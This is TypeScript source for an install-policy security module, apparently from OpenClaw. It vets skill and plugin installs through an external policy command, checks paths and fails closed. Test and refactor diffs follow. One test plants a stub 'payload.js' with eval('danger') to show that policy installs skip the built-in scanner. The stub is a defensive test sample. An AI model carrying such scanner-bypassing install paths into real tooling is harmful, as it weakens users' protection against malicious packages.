"env",
"fish",
"node",
"perl",
"powershell",
"pwsh",
"python",
"python3",
"ruby",
"sh",
"zsh",
]);
const POLICY_SCRIPT_ARG_PATTERN = /\.(?:bash|cjs|cts|js|mjs|mts|pl|ps1|py|rb|sh|ts|zsh)$/i;
export type InstallPolicyTarget = "skill" | "plugin";
export type InstallPolicyRequestKind =
| "skill-install"
| "plugin-dir"
| "plugin-archive"
| "plugin-file"
| "plugin-npm"
| "plugin-git";
export type InstallPolicyOrigin = {
type: string;
[key: string]: string | number | boolean | null | undefined;
};
export type InstallPolicySource = {
kind:
| "archive"
| "bundled"
| "clawhub"
| "file"
| "git"
| "local-path"
| "managed"
| "npm"
| "upload"
| "workspace";
authority: "openclaw" | "official" | "third-party" | "unknown" | "user";
mutable: boolean;
network: boolean;
};
export type InstallPolicyFinding = {
ruleId: string;
severity: "info" | "warn" | "critical";
message: string;
file?: string;
line?: number;
evidence?: string;
};
export type InstallPolicyRequest = {
targetType: InstallPolicyTarget;
targetName: string;
sourcePath: string;
sourcePathKind: "file" | "directory";
source?: InstallPolicySource;
origin: InstallPolicyOrigin;
request: {
kind: InstallPolicyRequestKind;
mode: "install" | "update";
requestedSpecifier?: string;
};
skill?: {
installId: string;
installSpec?: {
id?: string;
kind: "brew" | "node" | "go" | "uv" | "download";
label?: string;
bins?: string[];
os?: string[];
formula?: string;
package?: string;
module?: string;
url?: string;
archive?: string;
extract?: boolean;
stripComponents?: number;
targetDir?: string;
};
};
plugin?: {
pluginId: string;
contentType: "bundle" | "package" | "file" | "dependency-tree";
packageName?: string;
manifestId?: string;
version?: string;
extensions?: string[];
};
};
export type InstallPolicyResult =
| { blocked?: undefined; findings?: InstallPolicyFinding[] }
| {
blocked: {
code: "security_scan_blocked" | "security_scan_failed";
reason: string;
};
findings?: InstallPolicyFinding[];
};
type ExecRunResult = {
stdout: string;
stderr: string;
code: number | null;
signal: NodeJS.Signals | null;
termination: "exit" | "timeout" | "no-output-timeout";
};
type InstallPolicyExecConfig = NonNullable<NonNullable<SecurityConfig["installPolicy"]>["exec"]>;
export type InstallPolicyValidationIssue = {
severity: "error" | "warning";
message: string;
};
export type InstallPolicyStaticValidation = {
enabled: boolean;
targets: InstallPolicyTarget[];
issues: InstallPolicyValidationIssue[];
};
function isAbsolutePathname(value: string): boolean {
if (path.isAbsolute(value)) {
return true;
}
return (
process.platform === "win32" &&
(WINDOWS_ABS_PATH_PATTERN.test(value) || WINDOWS_UNC_PATH_PATTERN.test(value))
);
}
function executableName(commandPath: string): string {
return path
.basename(commandPath)
.replace(/\.exe$/i, "")
.toLowerCase();
}
function isPolicyScriptArg(value: string): boolean {
return (
isAbsolutePathname(value) ||
value.startsWith(".") ||
value.includes("/") ||
value.includes("\\") ||
POLICY_SCRIPT_ARG_PATTERN.test(value)
);
}
function resolvePolicyScriptArg(params: {
command: string;
args: string[];
}):
| { kind: "scripts"; scripts: Array<{ index: number; path: string }> }
| { kind: "unsupported"; message: string }
| undefined {
const interpreterName = executableName(params.command);
const startIndex = 0;
if (interpreterName === "env") {
return {
kind: "unsupported",
message:
"security.installPolicy.exec.command must not use env; configure the policy executable directly.",
};
}
if (!POLICY_INTERPRETER_NAMES.has(interpreterName) || interpreterName === "env") {
return undefined;
}
const scripts: Array<{ index: number; path: string }> = [];
for (let index = startIndex; index < params.args.length; index += 1) {
const arg = params.args[index];
if (!arg) {
continue;
}
if (arg.startsWith("-")) {
const equalsIndex = arg.indexOf("=");
if (equalsIndex > 0) {
const optionValue = arg.slice(equalsIndex + 1);
if (isPolicyScriptArg(optionValue)) {
scripts.push({ index, path: optionValue });
}
}
continue;
}
if (isPolicyScriptArg(arg)) {
scripts.push({ index, path: arg });
}
}
return scripts.length > 0 ? { kind: "scripts", scripts } : undefined;
}
async function readFileStatOrThrow(pathname: string, label: string) {
const stat = await safeStat(pathname);
if (!stat.ok) {
throw new Error(`${label} is not readable: ${pathname}`);
}
if (stat.isDir) {
throw new Error(`${label} must be a file: ${pathname}`);
}
return stat;
}
function collectPathAncestorDirs(targetPath: string): string[] {
const dirs: string[] = [];
let current = path.resolve(path.dirname(targetPath));
while (true) {
dirs.push(current);
const parent = path.dirname(current);
if (parent === current) {
return dirs;
}
current = parent;
}
}
async function assertSecureCommandAncestorDirs(params: {
targetPath: string;
label: string;
}): Promise<void> {
const currentUid = typeof process.getuid === "function" ? process.getuid() : undefined;
for (const dir of collectPathAncestorDirs(params.targetPath)) {
const perms = await inspectPathPermissions(dir);
if (!perms.ok) {
throw new Error(`${params.label} parent directory permissions could not be verified: ${dir}`);
}
let sticky = false;
if (process.platform !== "win32" && (perms.worldWritable || perms.groupWritable)) {
try {
sticky = ((await fs.stat(dir)).mode & 0o1000) !== 0;
} catch {
sticky = false;
}
}
if ((perms.worldWritable || perms.groupWritable) && !sticky) {
throw new Error(`${params.label} parent directory permissions are too open: ${dir}`);
}
if (process.platform !== "win32" && currentUid !== undefined) {
let stat: Awaited<ReturnType<typeof fs.stat>>;
try {
stat = await fs.stat(dir);
} catch {
throw new Error(`${params.label} parent directory ownership could not be verified: ${dir}`);
}
if (stat.uid !== 0 && stat.uid !== currentUid) {
throw new Error(`${params.label} parent directory owner is not trusted: ${dir}`);
}
}
if (process.platform === "win32" && perms.source === "unknown") {
throw new Error(
`${params.label} parent directory ACL verification unavailable on Windows for ${dir}. Set allowInsecurePath=true for this policy to bypass this check when the path is trusted.`,
);
}
}
}
async function assertSecureCommandPath(params: {
targetPath: string;
label: string;
trustedDirs?: string[];
allowInsecurePath?: boolean;
allowSymlinkPath?: boolean;
}): Promise<string> {
if (!isAbsolutePathname(params.targetPath)) {
throw new Error(`${params.label} must be an absolute path.`);
}
let effectivePath = params.targetPath;
let stat = await readFileStatOrThrow(effectivePath, params.label);
if (stat.isSymlink) {
if (!params.allowSymlinkPath) {
throw new Error(`${params.label} must not be a symlink: ${effectivePath}`);
}
try {
effectivePath = await fs.realpath(effectivePath);
} catch {
throw new Error(`${params.label} symlink target is not readable: ${params.targetPath}`);
}
if (!isAbsolutePathname(effectivePath)) {
throw new Error(`${params.label} resolved symlink target must be an absolute path.`);
}
stat = await readFileStatOrThrow(effectivePath, params.label);
if (stat.isSymlink) {
throw new Error(`${params.label} symlink target must not be a symlink: ${effectivePath}`);
}
}
if (params.trustedDirs && params.trustedDirs.length > 0) {
const trusted = params.trustedDirs.map((entry) => resolveUserPath(entry));
const inTrustedDir = trusted.some((dir) => isPathInside(dir, effectivePath));
if (!inTrustedDir) {
throw new Error(`${params.label} is outside trustedDirs: ${effectivePath}`);
}
}
if (params.allowInsecurePath) {
return effectivePath;
}
const perms = await inspectPathPermissions(effectivePath);
if (!perms.ok) {
throw new Error(`${params.label} permissions could not be verified: ${effectivePath}`);
}
if (perms.worldWritable || perms.groupWritable) {
throw new Error(`${params.label} permissions are too open: ${effectivePath}`);
}
await assertSecureCommandAncestorDirs({ targetPath: effectivePath, label: params.label });
if (process.platform === "win32" && perms.source === "unknown") {
throw new Error(
`${params.label} ACL verification unavailable on Windows for ${effectivePath}. Set allowInsecurePath=true for this policy to bypass this check when the path is trusted.`,
);
}
if (process.platform !== "win32" && typeof process.getuid === "function" && stat.uid != null) {
const uid = process.getuid();
if (stat.uid !== uid && stat.uid !== 0) {
throw new Error(
`${params.label} must be owned by the current user (uid=${uid}) or root: ${effectivePath}`,
);
}
}
return effectivePath;
}
async function assertSecurePolicyScriptArg(params: {
command: string;
args: string[];
trustedDirs?: string[];
allowInsecurePath?: boolean;
allowSymlinkPath?: boolean;
}): Promise<void> {
const scriptArg = resolvePolicyScriptArg({ command: params.command, args: params.args });
if (!scriptArg) {
return;
}
if (scriptArg.kind === "unsupported") {
throw new Error(scriptArg.message);
}
for (const script of scriptArg.scripts) {
await assertSecureCommandPath({
targetPath: script.path,
label: `security.installPolicy.exec.args[${script.index}]`,
trustedDirs: params.trustedDirs,
allowInsecurePath: params.allowInsecurePath,
allowSymlinkPath: false,
});
}
}
function truncateText(value: string, maxChars: number): string {
return value.length <= maxChars ? value : `${value.slice(0, maxChars)}...`;
}
function createPolicyChildEnv(sourceEnv: NodeJS.ProcessEnv): NodeJS.ProcessEnv {
void sourceEnv;
return {};
}
function readPassEnvValue(env: NodeJS.ProcessEnv, key: string): string | undefined {
const exact = env[key];
if (exact !== undefined || process.platform !== "win32") {
return exact;
}
const lowerKey = key.toLowerCase();
const matchedKey = Object.keys(env).find((candidate) => candidate.toLowerCase() === lowerKey);
return matchedKey ? env[matchedKey] : undefined;
}
function blockedByFailure(message: string): InstallPolicyResult {
return {
blocked: {
code: "security_scan_failed",
reason: `install policy failed closed: ${truncateText(message, MAX_REASON_CHARS)}`,
},
};
}
function blockedByPolicy(reason: string, findings?: InstallPolicyFinding[]): InstallPolicyResult {
return {
blocked: {
code: "security_scan_blocked",
reason: `blocked by install policy: ${truncateText(reason, MAX_REASON_CHARS)}`,
},
...(findings && findings.length > 0 ? { findings } : {}),
};
}
function isTargetEnabled(params: {
policy: NonNullable<SecurityConfig["installPolicy"]>;
targetType: InstallPolicyTarget;
}): boolean {
const targets = params.policy.targets;
if (!targets || targets.length === 0) {
return true;
}
return targets.includes(params.targetType);
}
function resolvePolicy(
config: OpenClawConfig | undefined,
targetType: InstallPolicyTarget,
):
| { kind: "disabled" }
| { kind: "configured"; exec: InstallPolicyExecConfig }
| { kind: "failure"; result: InstallPolicyResult } {
const policy = config?.security?.installPolicy;
if (!policy || policy.enabled !== true) {
return { kind: "disabled" };
}
if (!isTargetEnabled({ policy, targetType })) {
return { kind: "disabled" };
}
if (!policy.exec) {
return {
kind: "failure",
result: blockedByFailure(
"security.installPolicy is enabled but security.installPolicy.exec is not configured",
),
};
}
return { kind: "configured", exec: policy.exec };
}
function resolveConfiguredTargets(
policy: NonNullable<SecurityConfig["installPolicy"]>,
): InstallPolicyTarget[] {
const targets = policy.targets;
return targets && targets.length > 0 ? [...new Set(targets)] : ["skill", "plugin"];
}
export async function validateInstallPolicyStatic(
config: OpenClawConfig | undefined,
): Promise<InstallPolicyStaticValidation> {
const policy = config?.security?.installPolicy;
if (!policy || policy.enabled !== true) {
return { enabled: false, targets: [], issues: [] };
}
const targets = resolveConfiguredTargets(policy);
const issues: InstallPolicyValidationIssue[] = [];
if (!policy.exec) {
issues.push({
severity: "error",
message:
"security.installPolicy is enabled but security.installPolicy.exec is not configured.",
});
return { enabled: true, targets, issues };
}
if (!isAbsolutePathname(policy.exec.command)) {
issues.push({
severity: "error",
message: "security.installPolicy.exec.command must be an absolute path.",
});
return { enabled: true, targets, issues };
}
try {
await assertSecureCommandPath({
targetPath: policy.exec.command,
label: "security.installPolicy.exec.command",
trustedDirs: policy.exec.trustedDirs,
allowInsecurePath: policy.exec.allowInsecurePath,
allowSymlinkPath: policy.exec.allowSymlinkCommand,
});
} catch (err) {
issues.push({
severity: "error",
message: formatErrorMessage(err),
});
}
try {
await assertSecurePolicyScriptArg({
command: policy.exec.command,
args: policy.exec.args ?? [],
trustedDirs: policy.exec.trustedDirs,
allowInsecurePath: policy.exec.allowInsecurePath,
allowSymlinkPath: policy.exec.allowSymlinkCommand,
});
} catch (err) {
issues.push({
severity: "error",
message: formatErrorMessage(err),
});
}
return { enabled: true, targets, issues };
}
function isIgnorableStdinWriteError(error: unknown): boolean {
if (typeof error !== "object" || error === null || !("code" in error)) {
return false;
}
const code = String(error.code);
return code === "EPIPE" || code === "ERR_STREAM_DESTROYED";
}
async function runPolicyCommand(params: {
command: string;
args: string[];
cwd: string;
env: NodeJS.ProcessEnv;
input: string;
timeoutMs: number;
noOutputTimeoutMs: number;
maxOutputBytes: number;
}): Promise<ExecRunResult> {
return await new Promise((resolve, reject) => {
const child = spawn(params.command, params.args, {
cwd: params.cwd,
env: params.env,
stdio: ["pipe", "pipe", "pipe"],
shell: false,
windowsHide: true,
});
let settled = false;
let stdout = "";
let stderr = "";
let timedOut = false;
let noOutputTimedOut = false;
let outputBytes = 0;
let noOutputTimer: NodeJS.Timeout | null = null;
const timeoutTimer = setTimeout(() => {
timedOut = true;
child.kill("SIGKILL");
}, params.timeoutMs);
const clearTimers = () => {
clearTimeout(timeoutTimer);
if (noOutputTimer) {
clearTimeout(noOutputTimer);
noOutputTimer = null;
}
};
const armNoOutputTimer = () => {
if (noOutputTimer) {
clearTimeout(noOutputTimer);
}
noOutputTimer = setTimeout(() => {
noOutputTimedOut = true;
child.kill("SIGKILL");
}, params.noOutputTimeoutMs);
};
const append = (chunk: Buffer | string, target: "stdout" | "stderr") => {
const text = typeof chunk === "string" ? chunk : chunk.toString("utf8");
outputBytes += Buffer.byteLength(text, "utf8");
if (outputBytes > params.maxOutputBytes) {
child.kill("SIGKILL");
if (!settled) {
settled = true;
clearTimers();
reject(new Error(`output exceeded maxOutputBytes (${params.maxOutputBytes})`));
}
return;
}
if (target === "stdout") {
stdout += text;
} else {
stderr += text;
}
armNoOutputTimer();
};
armNoOutputTimer();
child.on("error", (error) => {
if (settled) {
return;
}
settled = true;
clearTimers();
reject(error);
});
child.stdout?.on("data", (chunk) => append(chunk, "stdout"));
child.stderr?.on("data", (chunk) => append(chunk, "stderr"));
child.on("close", (code, signal) => {
if (settled) {
return;
}
settled = true;
clearTimers();
resolve({
stdout,
stderr,
code,
signal,
termination: noOutputTimedOut ? "no-output-timeout" : timedOut ? "timeout" : "exit",
});
});
const handleStdinError = (error: unknown) => {
if (isIgnorableStdinWriteError(error) || settled) {
return;
}
settled = true;
clearTimers();
reject(error instanceof Error ? error : new Error(String(error)));
};
child.stdin?.on("error", handleStdinError);
try {
child.stdin?.end(params.input);
} catch (error) {
handleStdinError(error);
}
});
}
function normalizeFinding(value: unknown): InstallPolicyFinding | null {
if (typeof value !== "object" || value === null) {
return null;
}
const record = value as Record<string, unknown>;
const ruleId = typeof record.ruleId === "string" ? record.ruleId.trim() : "";
const severity = record.severity;
const file = typeof record.file === "string" ? record.file.trim() : "";
const lineNumber =
typeof record.line === "number" && Number.isFinite(record.line)
? Math.max(1, Math.floor(record.line))
: undefined;
const message = typeof record.message === "string" ? record.message.trim() : "";
if (
!ruleId ||
!message ||
(severity !== "info" && severity !== "warn" && severity !== "critical")
) {
return null;
}
const evidence = typeof record.evidence === "string" ? record.evidence.trim() : "";
return {
ruleId: truncateText(ruleId, MAX_FINDING_TEXT_CHARS),
severity,
message: truncateText(message, MAX_FINDING_TEXT_CHARS),
...(file ? { file: truncateText(file, MAX_FINDING_TEXT_CHARS) } : {}),
...(lineNumber ? { line: lineNumber } : {}),
...(evidence ? { evidence: truncateText(evidence, MAX_FINDING_TEXT_CHARS) } : {}),
};
}
function parsePolicyResponse(stdout: string): InstallPolicyResult {
const trimmed = stdout.trim();
if (!trimmed) {
return blockedByFailure("policy command returned empty stdout");
}
let parsed: unknown;
try {
parsed = JSON.parse(trimmed) as unknown;
} catch (err) {
return blockedByFailure(`policy command returned invalid JSON (${formatErrorMessage(err)})`);
}
if (typeof parsed !== "object" || parsed === null || Array.isArray(parsed)) {
return blockedByFailure("policy response must be a JSON object");
}
const record = parsed as Record<string, unknown>;
if (record.protocolVersion !== 1) {
return blockedByFailure("policy response protocolVersion must be 1");
}
const decision = record.decision;
if (decision !== "allow" && decision !== "block") {
return blockedByFailure('policy response decision must be "allow" or "block"');
}
const findings = Array.isArray(record.findings)
? record.findings.slice(0, MAX_FINDINGS).map(normalizeFinding).filter(Boolean)
: [];
const normalizedFindings = findings as InstallPolicyFinding[];
if (decision === "allow") {
return normalizedFindings.length > 0 ? { findings: normalizedFindings } : {};
}
const reason = typeof record.reason === "string" ? record.reason.trim() : "";
if (!reason) {
return blockedByFailure('policy response decision "block" requires a non-empty reason');
}
return blockedByPolicy(reason, normalizedFindings);
}
export async function runInstallPolicy(params: {
config?: OpenClawConfig;
env?: NodeJS.ProcessEnv;
logger?: {
debug?: (message: string) => void;
info?: (message: string) => void;
warn?: (message: string) => void;
};
request: InstallPolicyRequest;
}): Promise<InstallPolicyResult | undefined> {
const decisionContext = formatDecisionContext(params.request);
const logBlocked = (result: InstallPolicyResult): InstallPolicyResult => {
if (result.blocked) {
params.logger?.warn?.(`Install policy ${decisionContext}: ${result.blocked.reason}`);
}
return result;
};
const failClosed = (message: string): InstallPolicyResult =>
logBlocked(blockedByFailure(message));
let config = params.config;
if (!config) {
try {
const { getRuntimeConfig } = await import("../config/io.js");
config = getRuntimeConfig({ skipPluginValidation: true });
} catch (err) {
return failClosed(`could not load OpenClaw config (${formatErrorMessage(err)})`);
}
}
const policy = resolvePolicy(config, params.request.targetType);
if (policy.kind === "disabled") {
return undefined;
}
if (policy.kind === "failure") {
return logBlocked(policy.result);
}
const input = JSON.stringify({
protocolVersion: 1,
openclawVersion: resolveRuntimeServiceVersion(params.env ?? process.env),
...params.request,
});
if (Buffer.byteLength(input, "utf8") > DEFAULT_MAX_REQUEST_BYTES) {
return failClosed(`policy request exceeded maxInputBytes (${DEFAULT_MAX_REQUEST_BYTES})`);
}
const commandPath = policy.exec.command;
if (!isAbsolutePathname(commandPath)) {
return failClosed("security.installPolicy.exec.command must be an absolute path.");
}
let secureCommandPath: string;
try {
secureCommandPath = await assertSecureCommandPath({
targetPath: commandPath,
label: "security.installPolicy.exec.command",
trustedDirs: policy.exec.trustedDirs,
allowInsecurePath: policy.exec.allowInsecurePath,
allowSymlinkPath: policy.exec.allowSymlinkCommand,
});
} catch (err) {
return failClosed(formatErrorMessage(err));
}
try {
await assertSecurePolicyScriptArg({
command: secureCommandPath,
args: policy.exec.args ?? [],
trustedDirs: policy.exec.trustedDirs,
allowInsecurePath: policy.exec.allowInsecurePath,
allowSymlinkPath: policy.exec.allowSymlinkCommand,
});
} catch (err) {
return failClosed(formatErrorMessage(err));
}
const env = params.env ?? process.env;
const childEnv = createPolicyChildEnv(env);
for (const key of policy.exec.passEnv ?? []) {
const value = readPassEnvValue(env, key);
if (value !== undefined) {
childEnv[key] = value;
}
}
for (const [key, value] of Object.entries(policy.exec.env ?? {})) {
childEnv[key] = value;
}
const timeoutMs = normalizePositiveTimerMs(policy.exec.timeoutMs, DEFAULT_TIMEOUT_MS);
const noOutputTimeoutMs = normalizePositiveTimerMs(policy.exec.noOutputTimeoutMs, timeoutMs);
const maxOutputBytes = normalizePositiveInt(policy.exec.maxOutputBytes, DEFAULT_MAX_OUTPUT_BYTES);
const cwd = path.dirname(secureCommandPath);
let result: ExecRunResult;
try {
result = await runPolicyCommand({
command: secureCommandPath,
args: policy.exec.args ?? [],
cwd,
env: childEnv,
input,
timeoutMs,
noOutputTimeoutMs,
maxOutputBytes,
});
} catch (err) {
return failClosed(formatErrorMessage(err));
}
if (result.termination === "timeout") {
return failClosed(`policy command timed out after ${timeoutMs}ms`);
}
if (result.termination === "no-output-timeout") {
return failClosed(`policy command produced no output for ${noOutputTimeoutMs}ms`);
}
if (result.code !== 0) {
return failClosed(`policy command exited with code ${String(result.code)}`);
}
const parsed = parsePolicyResponse(result.stdout);
if (parsed.blocked) {
return logBlocked(parsed);
}
params.logger?.debug?.(`Install policy ${decisionContext}: allowed`);
return parsed;
}
function formatDecisionContext(request: InstallPolicyRequest): string {
const source = request.source ? ` source=${request.source.kind}/${request.source.authority}` : "";
const origin = typeof request.origin.type === "string" ? request.origin.type : "unknown";
return [
`target=${request.targetType}:${request.targetName}`,
`request=${request.request.kind}/${request.request.mode}`,
`origin=${origin}`,
`pathKind=${request.sourcePathKind}`,
source.trim(),
]
.filter(Boolean)
.join(" ");
}
export async function probeInstallPolicy(params: {
config: OpenClawConfig;
env?: NodeJS.ProcessEnv;
logger?: {
debug?: (message: string) => void;
info?: (message: string) => void;
warn?: (message: string) => void;
};
sourcePath: string;
}): Promise<InstallPolicyResult | undefined> {
const validation = await validateInstallPolicyStatic(params.config);
if (!validation.enabled || validation.issues.some((issue) => issue.severity === "error")) {
return undefined;
}
const targetType = validation.targets.includes("skill") ? "skill" : validation.targets[0];
if (!targetType) {
return undefined;
}
return await runInstallPolicy({
config: params.config,
env: params.env,
logger: params.logger,
request: {
targetType,
targetName: "doctor-install-policy-probe",
sourcePath: params.sourcePath,
sourcePathKind: "directory",
origin: { type: "doctor" },
request: {
kind: targetType === "skill" ? "skill-install" : "plugin-dir",
mode: "install",
requestedSpecifier: "doctor:install-policy-probe",
},
},
});
}
+113 -2
View File
@@ -1,8 +1,13 @@
import fs from "node:fs/promises";
import path from "node:path";
import JSZip from "jszip";
import { afterEach, describe, expect, it } from "vitest";
import { afterEach, describe, expect, it, vi } from "vitest";
import { withExtractedArchiveRoot } from "../../infra/install-flow.js";
import {
initializeGlobalHookRunner,
resetGlobalHookRunner,
} from "../../plugins/hook-runner-global.js";
import { createMockPluginRegistry } from "../../plugins/hooks.test-helpers.js";
import { createTrackedTempDirs } from "../../test-utils/tracked-temp-dirs.js";
import {
CLAWHUB_SKILL_ARCHIVE_ROOT_MARKERS,
@@ -66,6 +71,7 @@ function skillFileContent(name: string): string {
}
afterEach(async () => {
resetGlobalHookRunner();
await tempDirs.cleanup();
});
@@ -94,7 +100,6 @@ describe("skill archive install", () => {
slug: `legacy-${marker.toLowerCase().replace(/[^a-z0-9]+/g, "-")}`,
extractedRoot,
mode: "install",
scan: false,
rootMarkers: CLAWHUB_SKILL_ARCHIVE_ROOT_MARKERS,
}),
});
@@ -123,4 +128,110 @@ describe("skill archive install", () => {
}
await expectFlatRootMarkerRejected({ marker: "skill.md", root });
});
it("keeps skill archive policy installs independent from built-in scanner blocks", async () => {
const root = await tempDirs.make("openclaw-skill-archive-install-");
const workspaceDir = path.join(root, "workspace");
const extractedRoot = path.join(root, "extracted");
await fs.mkdir(extractedRoot, { recursive: true });
await fs.writeFile(path.join(extractedRoot, "SKILL.md"), skillFileContent("ClawHub Policy"));
await fs.writeFile(path.join(extractedRoot, "payload.js"), "eval('danger');\n");
const handler = vi.fn().mockReturnValue({});
initializeGlobalHookRunner(createMockPluginRegistry([{ hookName: "before_install", handler }]));
const result = await installExtractedSkillRoot({
workspaceDir,
slug: "clawhub-policy-only",
extractedRoot,
mode: "install",
policy: {
config: {},
installId: "clawhub",
origin: { type: "clawhub", slug: "clawhub-policy-only", version: "1.0.0" },
source: { kind: "clawhub", authority: "openclaw", mutable: false, network: true },
requestedSpecifier: "clawhub:clawhub-policy-only@1.0.0",
},
rootMarkers: CLAWHUB_SKILL_ARCHIVE_ROOT_MARKERS,
});
expect(result.ok).toBe(true);
expect(handler).toHaveBeenCalledTimes(1);
const payload = handler.mock.calls[0]?.[0] as
| { builtinScan?: { status?: string; scannedFiles?: number; findings?: unknown[] } }
| undefined;
expect(payload?.builtinScan).toMatchObject({
status: "ok",
scannedFiles: 0,
findings: [],
});
});
it("keeps legacy skill-upload origin for before_install hooks", async () => {
const root = await tempDirs.make("openclaw-skill-archive-install-");
const workspaceDir = path.join(root, "workspace");
const extractedRoot = path.join(root, "extracted");
await fs.mkdir(extractedRoot, { recursive: true });
await fs.writeFile(path.join(extractedRoot, "SKILL.md"), skillFileContent("Uploaded Policy"));
const handler = vi.fn().mockReturnValue({});
initializeGlobalHookRunner(createMockPluginRegistry([{ hookName: "before_install", handler }]));
const result = await installExtractedSkillRoot({
workspaceDir,
slug: "uploaded-policy",
extractedRoot,
mode: "install",
policy: {
config: {},
installId: "upload",
origin: { type: "upload", uploadId: "upload-123", sha256: "0".repeat(64) },
source: { kind: "upload", authority: "user", mutable: false, network: false },
requestedSpecifier: "upload:upload-123",
},
});
expect(result.ok).toBe(true);
expect(handler).toHaveBeenCalledTimes(1);
const payload = handler.mock.calls[0]?.[0] as { origin?: string } | undefined;
const ctx = handler.mock.calls[0]?.[1] as { origin?: string } | undefined;
expect(payload?.origin).toBe("skill-upload");
expect(ctx?.origin).toBe("skill-upload");
});
it("reports forced installs of missing skills as install mode to policy", async () => {
const root = await tempDirs.make("openclaw-skill-archive-install-");
const workspaceDir = path.join(root, "workspace");
const extractedRoot = path.join(root, "extracted");
await fs.mkdir(extractedRoot, { recursive: true });
await fs.writeFile(path.join(extractedRoot, "SKILL.md"), skillFileContent("Forced Missing"));
const handler = vi.fn((payload: unknown) => {
const event = payload as { request?: { mode?: string } };
if (event.request?.mode === "install") {
return { block: true, blockReason: "fresh skill installs are disabled by policy" };
}
return {};
});
initializeGlobalHookRunner(createMockPluginRegistry([{ hookName: "before_install", handler }]));
const result = await installExtractedSkillRoot({
workspaceDir,
slug: "forced-missing",
extractedRoot,
mode: "update",
policy: {
config: {},
installId: "archive",
origin: { type: "upload", uploadId: "upload-456", sha256: "1".repeat(64) },
source: { kind: "upload", authority: "user", mutable: false, network: false },
requestedSpecifier: "upload:upload-456",
},
});
expect(result.ok).toBe(false);
if (!result.ok) {
expect(result.error).toContain("fresh skill installs are disabled by policy");
}
expect(handler).toHaveBeenCalledTimes(1);
const payload = handler.mock.calls[0]?.[0] as { request?: { mode?: string } } | undefined;
expect(payload?.request?.mode).toBe("install");
});
});
+25 -18
View File
@@ -1,4 +1,5 @@
import path from "node:path";
import type { OpenClawConfig } from "../../config/types.openclaw.js";
import type { ArchiveLogger } from "../../infra/archive.js";
import { formatErrorMessage } from "../../infra/errors.js";
import { pathExists } from "../../infra/fs-safe.js";
@@ -6,9 +7,10 @@ import { withExtractedArchiveRoot } from "../../infra/install-flow.js";
import { installPackageDir } from "../../infra/install-package-dir.js";
import { resolveSafeInstallDir } from "../../infra/install-safe-path.js";
import {
scanSkillInstallSource,
evaluateSkillInstallPolicy,
type InstallSecurityScanResult,
} from "../../plugins/install-security-scan.js";
import type { InstallPolicyOrigin, InstallPolicySource } from "../../security/install-policy.js";
const VALID_SLUG_PATTERN = /^[a-z0-9](?:[a-z0-9-]*[a-z0-9])?$/i;
const DEFAULT_SKILL_ARCHIVE_ROOT_MARKERS = ["SKILL.md"] as const;
@@ -28,13 +30,13 @@ function hasNonAscii(value: string): boolean {
return false;
}
type SkillArchiveInstallScan =
| false
| {
dangerouslyForceUnsafeInstall?: boolean;
installId?: string;
origin: string;
};
type SkillArchiveInstallPolicy = {
config?: OpenClawConfig;
installId?: string;
origin: InstallPolicyOrigin;
requestedSpecifier?: string;
source?: InstallPolicySource;
};
export type SkillArchiveInstallResult =
| { ok: true; targetDir: string }
@@ -129,7 +131,7 @@ export async function installExtractedSkillRoot(params: {
mode: "install" | "update";
timeoutMs?: number;
logger?: ArchiveLogger;
scan?: SkillArchiveInstallScan;
policy?: SkillArchiveInstallPolicy;
rootMarkers?: readonly string[];
}): Promise<SkillArchiveInstallResult> {
try {
@@ -147,19 +149,24 @@ export async function installExtractedSkillRoot(params: {
} catch (err) {
return installFailure(formatErrorMessage(err), "invalid-request");
}
if (params.mode === "install" && (await pathExists(targetDir))) {
const targetExists = await pathExists(targetDir);
const effectiveMode = params.mode === "update" && targetExists ? "update" : "install";
if (params.mode === "install" && targetExists) {
return installFailure(
`Skill already exists at ${targetDir}. Re-run with force/update.`,
"invalid-request",
);
}
if (params.scan) {
const scanResult = await scanSkillInstallSource({
dangerouslyForceUnsafeInstall: params.scan.dangerouslyForceUnsafeInstall,
installId: params.scan.installId ?? "archive",
if (params.policy) {
const scanResult = await evaluateSkillInstallPolicy({
config: params.policy.config,
installId: params.policy.installId ?? "archive",
logger: params.logger ?? {},
origin: params.scan.origin,
origin: params.policy.origin,
requestedSpecifier: params.policy.requestedSpecifier,
source: params.policy.source,
mode: effectiveMode,
skillName: params.slug,
sourceDir: params.extractedRoot,
});
@@ -174,7 +181,7 @@ export async function installExtractedSkillRoot(params: {
const install = await installPackageDir({
sourceDir: params.extractedRoot,
targetDir,
mode: params.mode,
mode: effectiveMode,
timeoutMs: params.timeoutMs ?? 120_000,
logger: params.logger,
copyErrorPrefix: "failed to install skill",
@@ -197,7 +204,7 @@ export async function installSkillArchiveFromPath(params: {
force?: boolean;
timeoutMs?: number;
logger?: ArchiveLogger;
scan?: SkillArchiveInstallScan;
policy?: SkillArchiveInstallPolicy;
}): Promise<SkillArchiveInstallResult> {
const result = await withExtractedArchiveRoot({
archivePath: params.archivePath,
@@ -213,7 +220,7 @@ export async function installSkillArchiveFromPath(params: {
mode: params.force ? "update" : "install",
timeoutMs: params.timeoutMs,
logger: params.logger,
scan: params.scan,
policy: params.policy,
}),
});
if (!result.ok) {
+49
View File
@@ -7,16 +7,19 @@ const fetchClawHubSkillDetailMock = vi.fn();
const downloadClawHubSkillArchiveMock = vi.fn();
const listClawHubSkillsMock = vi.fn();
const resolveClawHubBaseUrlMock = vi.fn(() => "https://clawhub.ai");
const isDefaultClawHubBaseUrlMock = vi.fn((baseUrl?: string) => !baseUrl);
const searchClawHubSkillsMock = vi.fn();
const archiveCleanupMock = vi.fn();
const withExtractedArchiveRootMock = vi.fn();
const installPackageDirMock = vi.fn();
const evaluateSkillInstallPolicyMock = vi.fn();
const pathExistsMock = vi.fn();
vi.mock("../../infra/clawhub.js", () => ({
fetchClawHubSkillDetail: fetchClawHubSkillDetailMock,
downloadClawHubSkillArchive: downloadClawHubSkillArchiveMock,
listClawHubSkills: listClawHubSkillsMock,
isDefaultClawHubBaseUrl: isDefaultClawHubBaseUrlMock,
resolveClawHubBaseUrl: resolveClawHubBaseUrlMock,
searchClawHubSkills: searchClawHubSkillsMock,
}));
@@ -29,6 +32,14 @@ vi.mock("../../infra/install-package-dir.js", () => ({
installPackageDir: installPackageDirMock,
}));
vi.mock("../../plugins/install-security-scan.js", async (importOriginal) => {
const actual = await importOriginal<typeof import("../../plugins/install-security-scan.js")>();
return {
...actual,
evaluateSkillInstallPolicy: (...args: unknown[]) => evaluateSkillInstallPolicyMock(...args),
};
});
vi.mock("../../infra/fs-safe.js", () => ({
pathExists: pathExistsMock,
}));
@@ -48,6 +59,19 @@ function expectInstallPackageSourceDir(sourceDir: string) {
